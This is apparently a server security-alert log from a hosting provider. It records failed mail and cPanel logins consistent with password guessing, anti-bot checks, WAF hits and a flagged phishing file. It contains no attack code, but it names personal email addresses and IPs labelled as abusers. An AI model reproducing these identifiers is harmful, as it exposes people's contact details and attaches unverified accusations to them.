103.108.92.86 - - [16/Jun/2026:15:58:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.86


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:58:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:57:29 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49700: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.255.82.232
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-1024x576.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-768x432.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920-1536x864.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/la-mortalite-hospitaliere-recule_i1920.webp 1920w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:58:17 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.223.254
country_id: 2363686
description:
2026-06-16 15:58:31 dovecot_login authenticator failed for H=(ANOUMAH) [196.170.223.254]:53684: 535 Incorrect authentication data (set_id=a.daniel@afrique-distribution.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:58:32 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49708: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 15:59:35 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49712: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 16:00:39 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49713: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.11
country_id: 3077311
description:
Jun 16 16:00:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.11 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.103.32.29
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/Dr-Elombi-300x183.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/Dr-Elombi.webp 573w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 16:01:46 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49718: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:16:01:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117463&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781625687 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.86
country_id: 2077456
description:
103.108.92.86 - - [16/Jun/2026:16:01:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855898&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781625688 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.86


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.213.217
country_id: 2077456
description:
103.1.213.217 - - [16/Jun/2026:16:01:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909037&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781625688 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.213.217


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 16:02:45 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49722: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 16:02:31 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:12291: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 16:03:30 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:21888: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.174
country_id: 3017382
domain: togofeed.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/qledpnjw/public_html/.327342421625225.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 16:03:47 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49727: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 16:04:31 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:14464: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 16:04:50 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49729: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 16:05:32 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:6528: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.46.177
country_id: 2363686
description:
2026-06-16 16:05:54 dovecot_login authenticator failed for H=(ASSRH7) [196.171.46.177]:49733: 535 Incorrect authentication data (set_id=sandra.amana@togointerim.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.84.99.60
country_id: 3469034
description:
[2026-06-16 16:05:57 +0000] info [cpaneld] 170.84.99.60 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.174.34.21
country_id: 1562822
description:
[2026-06-16 16:06:05 +0000] info [cpaneld] 14.174.34.21 - bawasongroup "GET /login/?login_only=1&user=bawasongroup&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasongroup (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.44.135
country_id: 1733045
description:
[2026-06-16 16:06:13 +0000] info [cpaneld] 180.75.44.135 - bawasongro "GET /login/?login_only=1&user=bawasongro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasongro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.76.0.15
country_id: 290291
description:
[2026-06-16 16:06:17 +0000] info [cpaneld] 94.76.0.15 - bawasongr "GET /login/?login_only=1&user=bawasongr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasongr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.57.2.182
country_id: 3865483
description:
[2026-06-16 16:06:31 +0000] info [cpaneld] 186.57.2.182 - bawaso "GET /login/?login_only=1&user=bawaso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawaso (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.188.180.48
country_id: 2017370
description:
[2026-06-16 16:06:41 +0000] info [cpaneld] 89.188.180.48 - bawa "GET /login/?login_only=1&user=bawa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 16:06:42 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:8193: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.10.114.41
country_id: 3865483
description:
[2026-06-16 16:06:45 +0000] info [cpaneld] 38.10.114.41 - baw "GET /login/?login_only=1&user=baw&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user baw (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.120.143
country_id: 3865483
description:
Jun 16 16:06:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.120.143 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.251.132.236
country_id: 3996063
description:
[2026-06-16 16:06:25 +0000] info [cpaneld] 189.251.132.236 - bawason "GET /login/?login_only=1&user=bawason&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawason (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.197.199.58
country_id: 1327865
description:
[2026-06-16 16:06:49 +0000] info [cpaneld] 103.197.199.58 - baw "GET /login/?login_only=1&user=baw&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user baw (has_cpuser_file failed)


